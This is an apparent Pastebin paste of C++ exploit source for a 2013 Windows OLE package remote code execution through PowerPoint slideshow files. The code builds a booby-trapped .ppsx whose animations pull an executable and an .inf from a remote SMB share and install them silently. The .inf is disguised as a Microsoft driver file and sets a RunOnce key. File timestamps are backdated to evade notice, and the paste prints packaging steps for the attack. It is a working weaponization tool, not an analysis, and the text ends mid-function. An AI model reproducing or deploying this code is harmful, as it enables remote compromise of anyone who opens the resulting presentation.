Advertisement
Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- /*++
- Title:
- Windows NT 6.X OLE package manager remote code execution through
- MS Office Powerpoint XYZ slideshow (ppts, pptxs).
- EID:
- 00000217:2013/06/10
- Description:
- Undocumented features exist in Windows NT 6 OLE package manager.
- These features allow to bypass 'Safe download' mechanism from
- untrusted sources and to execute imm. The IContextMenu i-face
- is used by 3-rd party software (such as MS Office Powerpoint XYZ)
- to unpack and dispatch package data. Shell action to be applied
- to package is specified by action id in 'cmd' parameter of slide
- xml-based document. Action Id '-1' and '-2' are reserved by MS
- Office Powerpoint engine. Currently, silent '.inf' installation
- is used for mitigation bypass. The MS Office for Windows XP
- contains internal OLE Package interpreter, so Windows XP doesn't
- affected.
- Hi F-5ecure and E5et! We are offering you to patch holes and
- backdoors in your fucking AV-s. We know about them.
- Discovered:
- 2013/06/06
- --*/
- #include <Windows.h>
- #include <OleAuto.h>
- #include <stdio.h>
- #include <OAIdl.h>
- #include <string>
- #include <shldisp.h>
- #include <tlhelp32.h>
- #include <assert.h>
- using namespace std;
- #define MAKE_OFFICE_IMPORT 0
- #if MAKE_OFFICE_IMPORT
- #import "z:\\Program Files (x86)\\Common Files\\microsoft shared\\VBA\VBA6\\VBE6EXT.OLB"
- #import "z:\\Program Files (x86)\\Common Files\\microsoft shared\\OFFICE12\\mso.dll"
- #import "z:\\Program Files (x86)\\Microsoft Office\\Office12\\msppt.olb"
- /* Modify office headers after import.
- In file vbe6ext.tlh specify:
- #include "mso.tlh"
- using namespace Office;
- In file msppt.tlh specify:
- #include "vbe6ext.tlh"
- using namespace VBIDE;
- */
- #else
- #if _DEBUG
- #include "Debug\mso.tlh"
- #include "Debug\vbe6ext.tlh"
- #include "Debug\msppt.tlh"
- #else
- #include "Release\mso.tlh"
- #include "Release\vbe6ext.tlh"
- #include "Release\msppt.tlh"
- #endif
- #endif
- /* Processor definitions
- */
- static HRESULT __G_hresult = S_OK;
- #define CHK_HR( hr ) do { if (FAILED(__G_hresult = (hr))) { goto _Done; } } while(0)
- #define CHK_ALLOC( ptr ) do { if ((ptr) == NULL) {goto _Done; } } while(0)
- #define SAFE_RELEASE_BY_REF( obj ) do { if((*obj) != NULL) { (*obj )->Release(); *obj = NULL;} } while(0)
- #define SAFE_FREE_BSTR_BY_REF( obj ) do { if((*obj) != NULL) { SysFreeString((*obj)); (*obj) = NULL;} } while(0)
- #define VariantInitAsLong( var, val) \
- VariantInit( &(var) ); \
- (var).vt = VT_I4; \
- (var).lVal = val;
- /*************************************************************************
- Rtns definition
- *************************************************************************/
- int wmain(int argc, wchar_t **argv);
- bool change_file_time(__in wchar_t *fname);
- void print_usage_and_exit(__in wchar_t *exe);
- bool produce_presentation(__in wchar_t *fname, __in wchar_t *fnameSaveAs, __in wchar_t *fname1Tmp, __in wchar_t *fname2Tmp);
- bool presentation_does_have_ole_packages(__in PowerPoint::_Presentation *pPresentation, __out bool *doesHave);
- bool create_ole_embed_stg_copy(__in const wchar_t *file_result, __in char *str1, __in char *str2);
- bool rewrite_embeddings_in_presentation(__in wchar_t *fnamePpt, __in wchar_t *fnameData);
- bool parse_cmd(int argc, wchar_t **argv, wstring *fnamePptIn, wstring *smbPath, wstring *fnameExe,wstring *fnameExeOnSmb,wstring *fnameInfOnSmb, bool *bForceUpload);
- /*************************************************************************
- Rtns implementation
- *************************************************************************/
- bool produce_presentation(__in wchar_t *fname, __in wchar_t *fnameSaveAs, __in wchar_t *fname1Tmp, __in wchar_t *fname2Tmp) {
- wstring stdWstrFileSaveAs;
- PowerPoint::PpSaveAsFileType saveAsType;
- bool bres = false,
- bDoesHaveOlePackages = false;
- CLSID appClsid = { 0 };
- BSTR bstrApplicationProgId = NULL,
- bstrPresentationPath = NULL,
- bstrSaveAs = NULL;
- PowerPoint::_Application *pApplication = NULL;
- PowerPoint::Presentations *pPresentations = NULL;
- PowerPoint::_Presentation *pPresentation = NULL;
- PowerPoint::Slides *pSlides = NULL;
- PowerPoint::_Slide *pSlide = NULL;
- PowerPoint::Shapes *pShapes = NULL;
- PowerPoint::Shape *pShape0 = NULL,
- *pShape1 = NULL,
- *pShapeCurr = NULL;
- PowerPoint::TimeLine *pTimeLine = NULL;
- PowerPoint::Sequences *pSequences = NULL;
- PowerPoint::Sequence *pSequence = NULL;
- PowerPoint::Effect *pEffect = NULL;
- PowerPoint::AnimationBehaviors *pAnimationBehaviors = NULL;
- PowerPoint::AnimationBehavior *pAnimationBehavior = NULL;
- PowerPoint::CommandEffect *pCommandEffect = NULL;
- PowerPoint::SlideShowTransition *pSlideShowTransition = NULL;
- VARIANT varSlideIndex;
- /* Produce file name for saving
- */
- stdWstrFileSaveAs.append(fnameSaveAs);
- saveAsType = PowerPoint::PpSaveAsFileType::ppSaveAsOpenXMLShow;
- CHK_ALLOC( bstrApplicationProgId = SysAllocString(L"Powerpoint.Application"));
- /* Obtain POwerPoint App CLSID from PowerPoint App Identifier
- */
- CHK_HR( CLSIDFromProgID( bstrApplicationProgId, &appClsid) );
- /* Create instance of POWERPOINT Application
- */
- CHK_HR( CoCreateInstance(
- appClsid,
- NULL,
- CLSCTX_LOCAL_SERVER,
- __uuidof(PowerPoint::_Application),
- (LPVOID*)&pApplication) );
- /* Get presentation collection
- */
- CHK_HR( pApplication ->get_Presentations(&pPresentations) );
- /* Open presentation
- */
- CHK_ALLOC( bstrPresentationPath = SysAllocString(fname) );
- CHK_HR( pPresentations ->raw_Open(
- bstrPresentationPath,
- Office::MsoTriState::msoFalse,
- Office::MsoTriState::msoFalse,
- Office::MsoTriState::msoFalse,
- &pPresentation) );
- /* Make sure that presentation doesn't have a lot of ole packages
- */
- if (!presentation_does_have_ole_packages(pPresentation, &bDoesHaveOlePackages)) {
- CHK_HR( E_ABORT );
- }
- if (bDoesHaveOlePackages) {
- printf("[-] ERROR: Specified presentation already includes OLE objects or no slides found.\n");
- CHK_HR( E_ABORT );
- }
- /* Get collection of slides
- */
- CHK_HR( pPresentation ->get_Slides( &pSlides) );
- /* Get first slide by index
- */
- VariantInitAsLong(varSlideIndex, 1);
- CHK_HR( pSlides ->raw_Item( varSlideIndex, &pSlide) );
- /* Get collection of shapes in slide
- */
- CHK_HR( pSlide ->get_Shapes( &pShapes) );
- /* Add 1-th shape to slide as first OLE object
- */
- CHK_HR( pShapes ->raw_AddOLEObject(
- 100.0, -100.0, 30.0, 30.0,
- _bstr_t(L""),
- _bstr_t(fname1Tmp),
- Office::MsoTriState::msoFalse,
- _bstr_t(L""),
- 0,
- _bstr_t(L""),
- Office::MsoTriState::msoFalse,
- &pShape0
- ) );
- /* Add 2-th shape to slide as second OLE object
- */
- CHK_HR( pShapes ->raw_AddOLEObject(
- 150.0, -100.0, 30.0, 30.0,
- _bstr_t(L""),
- _bstr_t(fname2Tmp),
- Office::MsoTriState::msoFalse,
- _bstr_t(L""),
- 0,
- _bstr_t(L""),
- Office::MsoTriState::msoFalse,
- &pShape1
- ) );
- /* Configure slide timing
- */
- CHK_HR( pSlide ->get_TimeLine( &pTimeLine ) );
- /* Obtain Main Sequence for timeLine of slide
- */
- CHK_HR( pTimeLine ->get_MainSequence( &pSequence) );
- /* Produce first effect for 1-th shape.
- 1-th shape specifies OLE Object which just copies .exe payload
- from remote SMB server and stores in temporary file.
- Specify command verb as '-3' which tells to ShellApi do nothing.
- Effect with id 1 loads slide background.
- Effect with id 2 loads exe stub from remote server.
- */
- {
- CHK_HR( pSequence ->raw_AddEffect(
- pShape0,
- PowerPoint::MsoAnimEffect::msoAnimEffectFlashOnce,
- PowerPoint::MsoAnimateByLevel::msoAnimateLevelNone,
- PowerPoint::MsoAnimTriggerType::msoAnimTriggerWithPrevious, //PowerPoint::MsoAnimTriggerType::msoAnimTriggerOnPageClick,
- 1,
- &pEffect) );
- SAFE_RELEASE_BY_REF( &pEffect );
- CHK_HR( pSequence ->raw_AddEffect(
- pShape0,
- PowerPoint::MsoAnimEffect::msoAnimEffectFlashOnce,
- PowerPoint::MsoAnimateByLevel::msoAnimateLevelNone,
- PowerPoint::MsoAnimTriggerType::msoAnimTriggerAfterPrevious, //PowerPoint::MsoAnimTriggerType::msoAnimTriggerOnPageClick,
- 2,
- &pEffect) );
- CHK_HR( pEffect ->get_Behaviors( &pAnimationBehaviors) );
- CHK_HR( pAnimationBehaviors ->raw_Add( PowerPoint::MsoAnimType::msoAnimTypeCommand, 1, &pAnimationBehavior) );
- CHK_HR( pAnimationBehavior ->get_CommandEffect( &pCommandEffect) );
- CHK_HR( pCommandEffect ->put_Type( PowerPoint::MsoAnimCommandType::msoAnimCommandTypeVerb) );
- CHK_HR( pCommandEffect ->put_Command( _bstr_t(L"-3")) );
- }
- /* Release resources assigned with Shape0
- */
- SAFE_RELEASE_BY_REF( &pCommandEffect );
- SAFE_RELEASE_BY_REF( &pAnimationBehavior );
- SAFE_RELEASE_BY_REF( &pAnimationBehaviors );
- SAFE_RELEASE_BY_REF( &pEffect );
- SAFE_RELEASE_BY_REF( &pShape0 );
- /* Produce first effect for 2-th shape.
- 2-th shape specifies OLE Object which simple copies .inf file
- from remote SMB server and stores in temporary file with .inf extension.
- Specify command verb as '3' which tells to ShellApi do 'Install' action.
- Effect with id 3 loads .inf from remote server and start it.
- */
- {
- CHK_HR( pSequence ->raw_AddEffect(
- pShape1,
- PowerPoint::MsoAnimEffect::msoAnimEffectFlashOnce,
- PowerPoint::MsoAnimateByLevel::msoAnimateLevelNone,
- PowerPoint::MsoAnimTriggerType::msoAnimTriggerAfterPrevious,
- 3,
- &pEffect) );
- CHK_HR( pEffect ->get_Behaviors( &pAnimationBehaviors) );
- CHK_HR( pAnimationBehaviors ->raw_Add( PowerPoint::MsoAnimType::msoAnimTypeCommand, 1, &pAnimationBehavior) );
- CHK_HR( pAnimationBehavior ->get_CommandEffect( &pCommandEffect) );
- CHK_HR( pCommandEffect ->put_Type( PowerPoint::MsoAnimCommandType::msoAnimCommandTypeVerb) );
- CHK_HR( pCommandEffect ->put_Command( _bstr_t(L"3")) );
- }
- /* Release resources assigned with Shape1
- */
- SAFE_RELEASE_BY_REF( &pCommandEffect );
- SAFE_RELEASE_BY_REF( &pAnimationBehavior );
- SAFE_RELEASE_BY_REF( &pAnimationBehaviors );
- SAFE_RELEASE_BY_REF( &pEffect );
- SAFE_RELEASE_BY_REF( &pShape1 );
- /* Configure SlideShowTransition
- */
- CHK_HR( pSlide ->get_SlideShowTransition(&pSlideShowTransition) );
- CHK_HR( pSlideShowTransition ->put_EntryEffect( PowerPoint::PpEntryEffect::ppEffectBoxOut ) );
- CHK_HR( pSlideShowTransition ->put_AdvanceTime( 0.5 ) );
- SAFE_RELEASE_BY_REF( &pSlideShowTransition );
- /* Release resources assigned with Presentation
- */
- SAFE_RELEASE_BY_REF( &pSequence );
- SAFE_RELEASE_BY_REF( &pTimeLine );
- SAFE_RELEASE_BY_REF( &pShapes );
- SAFE_RELEASE_BY_REF( &pSlide );
- SAFE_RELEASE_BY_REF( &pSlides );
- /* Save presentation
- */
- CHK_ALLOC(bstrSaveAs = SysAllocString(stdWstrFileSaveAs.c_str()) );
- CHK_HR( pPresentation ->raw_SaveAs( bstrSaveAs, saveAsType, Office::MsoTriState::msoTriStateMixed) );
- bres = true;
- _Done:
- VariantClear( &varSlideIndex );
- SAFE_FREE_BSTR_BY_REF( &bstrPresentationPath );
- SAFE_FREE_BSTR_BY_REF( &bstrApplicationProgId );
- SAFE_FREE_BSTR_BY_REF( &bstrSaveAs );
- /* Release resources assigned with Shape0 and Shape1
- */
- SAFE_RELEASE_BY_REF( &pCommandEffect );
- SAFE_RELEASE_BY_REF( &pAnimationBehavior );
- SAFE_RELEASE_BY_REF( &pAnimationBehaviors );
- SAFE_RELEASE_BY_REF( &pEffect );
- SAFE_RELEASE_BY_REF( &pShape0 );
- SAFE_RELEASE_BY_REF( &pShape1 );
- /* Release resources assigned with Presentation
- */
- SAFE_RELEASE_BY_REF( &pSlideShowTransition );
- SAFE_RELEASE_BY_REF( &pSequence );
- SAFE_RELEASE_BY_REF( &pTimeLine );
- SAFE_RELEASE_BY_REF( &pShapes );
- SAFE_RELEASE_BY_REF( &pSlide );
- SAFE_RELEASE_BY_REF( &pSlides );
- /* Close Currently opened presentation
- */
- if (pPresentation) {
- pPresentation ->raw_Close();
- }
- SAFE_RELEASE_BY_REF( &pPresentation );
- SAFE_RELEASE_BY_REF( &pPresentations );
- /* Close powerpoint automation application
- */
- if (pApplication) {
- pApplication ->raw_Quit();
- }
- SAFE_RELEASE_BY_REF( &pApplication );
- return bres;
- }
- bool create_ole_embed_stg_copy(__in const wchar_t *file_result, __in char *str1, __in char *str2) {
- bool bresult = false;
- IStorage *pStorage = NULL;
- IStream *pStream = NULL;
- HRESULT hresult = S_OK;
- CLSID clsidMedia = {0};
- VOID *pvFileData = NULL;
- size_t dataSize = 0;
- ULONG bytesWritten = 0;
- char trailer = 0;
- wstring stdWstrFileNameOut;
- stdWstrFileNameOut.append(file_result);
- hresult =
- StgCreateStorageEx(
- stdWstrFileNameOut.c_str(),
- STGM_CREATE | STGM_SHARE_EXCLUSIVE | STGM_READWRITE,
- STGFMT_STORAGE,
- 0,
- NULL,
- NULL,
- IID_IStorage,
- (void**)&pStorage
- );
- if (FAILED(hresult)) {
- //printf("[-] %s(): StgCreateStorageEx failed with error: %d(%08x)\r\n", __FUNCTION__, hresult, hresult);
- CHK_HR(hresult);
- }
- hresult =
- pStorage ->CreateStream(
- L"\x01OLE10Native",
- STGM_CREATE | STGM_SHARE_EXCLUSIVE | STGM_READWRITE,
- 0,
- 0,
- &pStream
- );
- if (FAILED(hresult)) {
- //printf("[-] %s(): IStorage::CreateStream failed with error: %d(%08x)\r\n", __FUNCTION__, hresult, hresult);
- CHK_HR(hresult);
- }
- dataSize = strlen(str1) + 1 + strlen(str2) + 1;
- // write header
- hresult = pStream ->Write( &dataSize, (ULONG)4, &bytesWritten );
- if (FAILED(hresult)) {
- //printf("[-] %s(): IStream::Write(header) failed with error %d(%08x)\r\n", __FUNCTION__, hresult, hresult);
- CHK_HR(E_ABORT);
- }
- // write string 1
- hresult = pStream ->Write( str1, (ULONG)strlen(str1), &bytesWritten );
- if (FAILED(hresult)) {
- //printf("[-] %s(): IStream::Write(string#1) failed with error %d(%08x)\r\n", __FUNCTION__, hresult, hresult);
- CHK_HR(E_ABORT);
- }
- // write string 1 trailer
- hresult = pStream ->Write( &trailer, (ULONG)1, &bytesWritten );
- if (FAILED(hresult)) {
- //printf("[-] %s(): IStream::Write(string#1 trailer) failed with error %d(%08x)\r\n", __FUNCTION__, hresult, hresult);
- CHK_HR(E_ABORT);
- }
- // write string 2
- hresult = pStream ->Write( str2, (ULONG)strlen(str2), &bytesWritten );
- if (FAILED(hresult)) {
- //printf("[-] %s(): IStream::Write(string#2) failed with error %d(%08x)\r\n", __FUNCTION__, hresult, hresult);
- CHK_HR(E_ABORT);
- }
- // write string 2 trailer
- hresult = pStream ->Write( &trailer, (ULONG)1, &bytesWritten );
- if (FAILED(hresult)) {
- //printf("[-] %s(): IStream::Write(string#2 trailer) failed with error %d(%08x)\r\n", __FUNCTION__, hresult, hresult);
- CHK_HR(E_ABORT);
- }
- // write class of storage
- hresult = CLSIDFromString( L"{00022602-0000-0000-C000-000000000046}", &clsidMedia);
- if (FAILED(hresult)) {
- //printf("[-] %s(): CLSIDFromString failed with error %d(%08x)\r\n", __FUNCTION__, hresult, hresult);
- CHK_HR(E_ABORT);
- }
- hresult = WriteClassStg(pStorage, clsidMedia);
- if (FAILED(hresult)) {
- //printf("[-] %s(): WriteClassStg failed with error %d(%08x)\r\n", __FUNCTION__, hresult, hresult);
- CHK_HR(hresult);
- }
- //printf("[+] %s(): Storage %S created.\r\n", __FUNCTION__, file_result);
- change_file_time( (wchar_t*)stdWstrFileNameOut.c_str() );
- bresult = true;
- _Done:
- SAFE_RELEASE_BY_REF( &pStream );
- SAFE_RELEASE_BY_REF( &pStorage );
- if(pvFileData) {
- free(pvFileData);
- }
- return bresult;
- }
- bool create_somthing_file(wchar_t *fpath) {
- HANDLE hFile = INVALID_HANDLE_VALUE;
- DWORD bytesWritten = 0;
- hFile = CreateFileW(fpath, GENERIC_READ | GENERIC_WRITE, FILE_SHARE_READ | FILE_SHARE_WRITE, NULL, CREATE_ALWAYS, FILE_ATTRIBUTE_NORMAL, NULL);
- if (hFile == INVALID_HANDLE_VALUE || hFile == NULL) {
- wprintf(L"[-] ERROR: Cannot create temporary file %s with some data\n", fpath);
- return false;
- }
- if (FALSE == WriteFile( hFile, "Some Data\n", strlen("Some Data\n"), &bytesWritten, NULL)) {
- wprintf(L"[-] ERROR: Cannot write temporary file %s with some data\n", fpath);
- CloseHandle(hFile);
- return false;
- }
- CloseHandle(hFile);
- return true;
- }
- bool generate_inf_file(wchar_t *fnameInf, wchar_t *fnameExeOnSmb) {
- HANDLE hFile = INVALID_HANDLE_VALUE;
- DWORD bytesWritten = 0;
- wstring stdFnameExeOnSmb;
- string stdFnameExeOnSmbA;
- string data;
- BOOL bres = FALSE;
- stdFnameExeOnSmb.append(fnameExeOnSmb);
- stdFnameExeOnSmbA.append(stdFnameExeOnSmb.begin(), stdFnameExeOnSmb.end());
- hFile = CreateFileW( fnameInf, GENERIC_READ | GENERIC_WRITE, FILE_SHARE_READ | FILE_SHARE_WRITE, NULL, CREATE_ALWAYS, FILE_ATTRIBUTE_NORMAL, NULL);
- if (hFile == INVALID_HANDLE_VALUE || hFile == NULL) {
- wprintf(L"[-] ERROR: Cannot create temporary file %s with some data\n", fnameInf);
- return false;
- }
- data.append("; 61883.INF\n");
- data.append("; Copyright (c) Microsoft Corporation. All rights reserved.\n\n");
- data.append("[Version]\n");
- data.append("Signature = \"$CHICAGO$\"\n");
- data.append("Class=61883\n");
- data.append("ClassGuid={7EBEFBC0-3200-11d2-B4C2-00A0C9697D17}\n");
- data.append("Provider=%Msft%\n");
- data.append("DriverVer=06/21/2006,6.1.7600.16385\n\n");
- data.append("[DestinationDirs]\n");
- data.append("DefaultDestDir = 1\n\n");
- data.append("[DefaultInstall]\n");
- data.append("RenFiles = RxRename\n");
- data.append("AddReg = RxStart\n\n");
- data.append("[RxRename]\n");
- data.append(stdFnameExeOnSmbA.c_str());
- data.append(".exe, ");
- data.append(stdFnameExeOnSmbA.c_str());
- data.append("\n");
- data.append("[RxStart]\n");
- data.append("HKLM,Software\\Microsoft\\Windows\\CurrentVersion\\RunOnce,Install,,%1%\\");
- data.append(stdFnameExeOnSmbA.c_str());
- data.append(".exe\n");
- bres = WriteFile(hFile, data.c_str(), data.length(), &bytesWritten, NULL);
- FlushFileBuffers(hFile);
- CloseHandle(hFile);
- return (bres);
- }
- int wmain(int argc, wchar_t **argv) {
- wstring stdWstrSaveAs,
- stdWstrObject1,
- stdWstrObject2,
- stdWstrSavedAs;
- wstring stdFnamePptIn,
- stdSmbPath,
- stdFnameExe,
- stdFnameExeOnSmb,
- stdFnameInfOnSmb,
- stdPathExeOnSmb,
- stdPathInfOnSmb,
- stdPathTmp1,
- stdPathTmp2,
- stdPathInf,
- stdPathExe;
- string stdPathExeOnSmbA,
- stdPathInfOnSmbA;
- bool bForceUpload = false;
- wchar_t currDir[MAX_PATH];
- GetCurrentDirectoryW(MAX_PATH, currDir);
- if (!parse_cmd(argc, argv, &stdFnamePptIn, &stdSmbPath, &stdFnameExe, &stdFnameExeOnSmb, &stdFnameInfOnSmb, &bForceUpload ) ) {
- printf("[-] ERROR: invalid input\n");
- return 0;
- }
- CHK_HR( CoInitializeEx(NULL, COINIT_APARTMENTTHREADED));
- stdWstrSaveAs.append(stdFnamePptIn.c_str());
- stdWstrSaveAs.append(L".saved.ppsx");
- /* Construct a path to exe on SMB as %stdSmbPath%\%stdFnameExeOnSmb%
- */
- stdPathExeOnSmb.append(stdSmbPath.c_str());
- stdPathExeOnSmb.append(L"\\");
- stdPathExeOnSmb.append(stdFnameExeOnSmb.c_str());
- stdPathExeOnSmbA.append(stdPathExeOnSmb.begin(), stdPathExeOnSmb.end());
- /* Construct a path to inf on SMB as %stdSmbPath%\%stdFnameInfOnSmb%
- */
- stdPathInfOnSmb.append(stdSmbPath.c_str());
- stdPathInfOnSmb.append(L"\\");
- stdPathInfOnSmb.append(stdFnameInfOnSmb.c_str());
- stdPathInfOnSmbA.append(stdPathInfOnSmb.begin(), stdPathInfOnSmb.end());
- /* Construct a path to tmp1 file
- */
- stdPathTmp1.append(currDir);
- stdPathTmp1.append(L"\\tmp1.tmp");
- if (!create_somthing_file((wchar_t*)stdPathTmp1.c_str()) ) {
- CHK_HR(E_ABORT);
- }
- /* Construct a path to tmp2 file
- */
- stdPathTmp2.append(currDir);
- stdPathTmp2.append(L"\\tmp2.tmp");
- if (!create_somthing_file((wchar_t*)stdPathTmp2.c_str()) ) {
- CHK_HR(E_ABORT);
- }
- /* Modify presentation imm
- */
- if (!produce_presentation(
- (wchar_t*)stdFnamePptIn.c_str(),
- (wchar_t *)stdWstrSaveAs.c_str(),
- (wchar_t *) stdPathTmp1.c_str(),
- (wchar_t *) stdPathTmp2.c_str()
- ) )
- {
- printf("[-] ERROR: cannot update presentation\n");
- CHK_HR( E_ABORT);
- }
- /* Create OLE 1-th Object
- */
- stdWstrObject1.append(currDir);
- stdWstrObject1.append(L"\\");
- stdWstrObject1.append(L"oleObject1.bin");
- if (!create_ole_embed_stg_copy(stdWstrObject1.c_str(), "EmbeddedStg1.txt", (char*)stdPathExeOnSmbA.c_str()) ) {
- printf("[-] ERROR: cannot create 1-th OLE Object\n");
- CHK_HR( E_ABORT);
- }
- /* Create OLE 2-th Object
- */
- stdWstrObject2.append(currDir);
- stdWstrObject2.append(L"\\");
- stdWstrObject2.append(L"oleObject2.bin");
- if (!create_ole_embed_stg_copy(stdWstrObject2.c_str(), "EmbeddedStg2.txt", (char*)stdPathInfOnSmbA.c_str()) ) {
- printf("[-] ERROR: cannot create 2-th OLE Object\n");
- CHK_HR( E_ABORT);
- }
- /* Generate inf file
- */
- stdPathInf.append(currDir);
- stdPathInf.append(L"\\");
- stdPathInf.append(stdFnameInfOnSmb.c_str());
- if (!generate_inf_file((wchar_t*)stdPathInf.c_str(), (wchar_t*)stdFnameExeOnSmb.c_str())) {
- printf("[-] ERROR: Cannot generate inf file\n");
- CHK_HR(E_ABORT);
- }
- /* Generate exe for SMB
- */
- stdPathExe.append(currDir);
- stdPathExe.append(L"\\");
- stdPathExe.append(stdFnameExeOnSmb.c_str());
- if (!CopyFileW(stdFnameExe.c_str(), stdPathExe.c_str(), FALSE)) {
- wprintf(L"[-] ERROR: Cannot create '%s' from '%s'\n", stdFnameExeOnSmb.c_str(), stdFnameExe.c_str());
- CHK_HR(E_ABORT);
- }
- /* Upload files onto remote shared folder
- */
- if (bForceUpload) {
- if (!CopyFileW( stdPathExe.c_str(), stdPathExeOnSmb.c_str(), FALSE)) {
- wprintf(L"[-] ERROR: Cannot upload .exe file '%s' to '%s'\n", stdPathExe.c_str(), stdSmbPath.c_str());
- }
- if (!CopyFileW( stdPathInf.c_str(), stdPathInfOnSmb.c_str(), FALSE)) {
- wprintf(L"[-] ERROR: Cannot upload .inf file '%s' to '%s'\n", stdPathInf.c_str(), stdSmbPath.c_str());
- }
- }
- int step = 1;
- wprintf(L"[+] INFO: \n");
- wprintf(L" %d) Rename presentation file '%s' to '%s.zip';\n", step++, stdWstrSavedAs.c_str(), stdWstrSavedAs.c_str());
- wprintf(L" %d) Stupid MS developers cann't create API for zip, so unzip '%s.zip'\n", step++, stdWstrSavedAs.c_str());
- wprintf(L" %d) Copy '%s' into 'ppt/embeddings' sub-directory of unzipped file;\n", step++, stdWstrObject1.c_str());
- wprintf(L" %d) Copy '%s' into 'ppt/embeddings' sub-directory of unzipped file;\n", step++, stdWstrObject2.c_str());
- wprintf(L" %d) Zip unzipped presentation and rename to presentation with '.ppsx'\n", step++);
- if (bForceUpload) {
- wprintf(L" %d) Copy '%s' into '%s'\n", step++, stdFnameExeOnSmb.c_str(), stdSmbPath.c_str());
- wprintf(L" %d) Copy '%s' into '%s'\n", step++, stdFnameInfOnSmb.c_str(), stdSmbPath.c_str());
- }
- wprintf(L" %d) Enjoy..\n", step++);
- _Done:
- DeleteFileW( stdPathTmp1.c_str());
- DeleteFileW( stdPathTmp2.c_str());
- CoUninitialize();
- return(__G_hresult);
- }
- bool presentation_does_have_ole_packages(__in PowerPoint::_Presentation *pPresentation, __out bool *doesHave) {
- bool bres = false;
- PowerPoint::Slides *pSlides = NULL;
- PowerPoint::_Slide *pSlide = NULL;
- PowerPoint::Shapes *pShapes = NULL;
- PowerPoint::Shape *pShape = NULL;
- PowerPoint::OLEFormat *pOLEFormat = NULL;
- long slidesCount = 0;
- VARIANT varSlideIndex,
- varShapeIndex;
- int shapesCount = 0;
- MsoAutoShapeType shapeType;
- BSTR bstrProgId = NULL;
- IDispatch *pOLEDispObject = NULL;
- assert(doesHave != NULL);
- assert(pPresentation != NULL);
- *doesHave = false;
- /* Get pointer to interface of Slides object.
- */
- CHK_HR(pPresentation ->get_Slides(&pSlides) );
- /* Get count of slides in presentation
- */
- CHK_HR(pSlides ->get_Count(&slidesCount) );
- /* Make sure that slides exist in presentation
- */
- if (slidesCount == 0) {
- printf("[-] Failed couse no slides found in presentation\n");
- CHK_HR(E_FAIL);
- }
- for (long i = 1; i <= slidesCount; i ++) {
- VariantInitAsLong(varSlideIndex, i);
- CHK_HR( pSlides ->raw_Item( varSlideIndex, &pSlide) );
- VariantClear( &varSlideIndex );
- /* Get list of shapes
- */
- CHK_HR( pSlide ->get_Shapes( &pShapes) );
- /* Get count of shapes
- */
- CHK_HR( pShapes ->get_Count(&shapesCount) );
- /* Verify each shape
- */
- for (int j = 1; j <= shapesCount; j++) {
- VariantInitAsLong( varShapeIndex, j);
- CHK_HR( pShapes ->raw_Item( varShapeIndex, &pShape) );
- VariantClear( &varShapeIndex );
- CHK_HR( pShape ->get_AutoShapeType( &shapeType) );
- if (shapeType == Office::MsoAutoShapeType::msoShapeMixed) {
- CHK_HR( pShape ->get_OLEFormat(&pOLEFormat) );
- CHK_HR( pOLEFormat ->get_ProgID( &bstrProgId) );
- if (wcsicmp( L"Package", bstrProgId) == 0) {
- *doesHave = true;
- }
- SAFE_FREE_BSTR_BY_REF( &bstrProgId );
- SAFE_RELEASE_BY_REF( &pOLEFormat );
- }
- SAFE_RELEASE_BY_REF( &pShape );
- if (*doesHave) {
- break;
- }
- }
- ///////////
- SAFE_RELEASE_BY_REF( &pShapes );
- SAFE_RELEASE_BY_REF( &pSlide );
- if (*doesHave) {
- break;
- }
- }
- bres = true;
- _Done:
- VariantClear( &varShapeIndex );
- VariantClear( &varSlideIndex );
- SAFE_FREE_BSTR_BY_REF( &bstrProgId );
- SAFE_RELEASE_BY_REF( &pOLEFormat );
- SAFE_RELEASE_BY_REF( &pShape );
- SAFE_RELEASE_BY_REF( &pShapes );
- SAFE_RELEASE_BY_REF( &pSlide );
- SAFE_RELEASE_BY_REF( &pSlides );
- return bres;
- }
- bool change_file_time(wchar_t *fname) {
- SYSTEMTIME systemTime = {0};
- HANDLE hFile = INVALID_HANDLE_VALUE;
- FILETIME fileTime = {0};
- GetSystemTime( &systemTime);
- systemTime.wYear = 1980;
- systemTime.wMonth = 1;
- systemTime.wDay = 1;
- systemTime.wHour = 15;
- systemTime.wMinute = 0;
- systemTime.wSecond = 0;
- hFile = \
- CreateFileW(
- fname,
- FILE_WRITE_ATTRIBUTES,
- FILE_SHARE_READ | FILE_SHARE_WRITE,
- NULL,
- OPEN_EXISTING,
- FILE_ATTRIBUTE_NORMAL,
- NULL
- );
- if (hFile == NULL || hFile == INVALID_HANDLE_VALUE) {
- return false;
- }
- SystemTimeToFileTime( &systemTime, &fileTime);
- SetFileTime( hFile, &fileTime, &fileTime, &fileTime);
- CloseHandle(hFile);
- return true;
- }
- bool rewrite_embeddings_in_presentation(__in wchar_t *fnameZip, __in wchar_t *fnameData)
- /*++
- Oh fuck! Stupid Microsoft developers cann't create human-relible
- API for zip management. 21st century! WTF? I cann't use IShell
- interface for zip management, so use 3rd party zip archivers.
- --*/
- {
- bool bres = false;
- IShellDispatch *pShell = NULL;
- VARIANT varDir,
- varFile,
- varOption;
- Folder *pFolder = NULL;
- wstring stdWstrDir;
- VariantInit(&varDir);
- VariantInit(&varFile);
- VariantInit(&varOption);
- stdWstrDir.append(fnameZip);
- stdWstrDir.append(L"\\ppt\\embeddings");
- CHK_HR( CoCreateInstance( CLSID_Shell, NULL, CLSCTX_INPROC_SERVER, IID_IShellDispatch, (LPVOID*)&pShell) );
- varDir.vt = VT_BSTR;
- varDir.bstrVal = _bstr_t(stdWstrDir.c_str());
- CHK_HR( pShell ->NameSpace(varDir, &pFolder) );
- varFile.vt = VT_BSTR;
- varFile.bstrVal = _bstr_t(fnameData);
- varOption.vt = VT_I4;
- varOption.lVal = FOF_NO_UI;
- CHK_HR( pFolder ->CopyHere( varFile, varOption) );
- Sleep( 1000 );
- bres = true;
- _Done:
- //VariantClear( &varOption );
- //VariantClear( &varFile );
- //VariantClear( &varDir );
- SAFE_RELEASE_BY_REF( &pFolder );
- SAFE_RELEASE_BY_REF( &pShell );
- return bres;
- }
- bool parse_cmd(
- __in int argc,
- wchar_t **argv,
- wstring *fnamePptIn,
- wstring *smbPath,
- wstring *fnameExe,
- wstring *fnameExeOnSmb,
- wstring *fnameInfOnSmb,
- bool *bForceUpload
- )
- {
- wstring stdOpt;
- bool bFnamePptIn = false,
- bSmbPath = false,
- bFnameExe = false,
- bFnameExeOnSmb = false,
- bFnameInfOnSmb = false;
- if (argc < 11) {
- print_usage_and_exit(argv[0]);
- return false;
- }
- for (int i = 1; i < argc; i++) {
